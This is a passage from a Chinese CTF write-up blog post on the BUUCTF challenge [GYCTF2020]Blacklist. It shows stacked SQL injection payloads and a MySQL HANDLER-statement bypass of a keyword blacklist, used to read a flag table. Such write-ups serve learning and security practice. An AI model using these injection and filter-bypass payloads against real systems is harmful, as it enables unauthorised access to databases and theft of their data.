buuctf-[GYCTF2020]Blacklist1(小宇特详解)

本文详细讲述了在GYCTF2020竞赛中的SQL注入挑战,通过堆叠注入失败后,作者利用HANDLER语句在MySQL中绕过限制,成功查询Flag。涉及payload构造和HANDLER语句的基本用法。

buuctf-[GYCTF2020]Blacklist1(小宇特详解)

1.先看题目是一道sql注入的题目

先尝试进行闭合

payload:1’

这里可以试出来是'来进行闭合即可

2.然后尝试着进行联合查询

发现是进行了过滤。

3.这里尝试着进行堆叠注入

payload:1’;show tables;#

4.查表

payload:1’; show columns from FlagHere;#

这里屏蔽了许多东西

5.这里由于rename,和alter被过滤了,这里考虑利用HANDLER语句

这里先解释一下HANDLER语句的用法

这里的HANDLER语句和select查询语句都可以在mysql中查询想要的东西

他的基本语句是

通过HANDLER tbl_name OPEN打开一张表,无返回结果。

通过HANDLER tbl_name READ FIRST获取tbl_name的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的tbl_name。

payload:1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值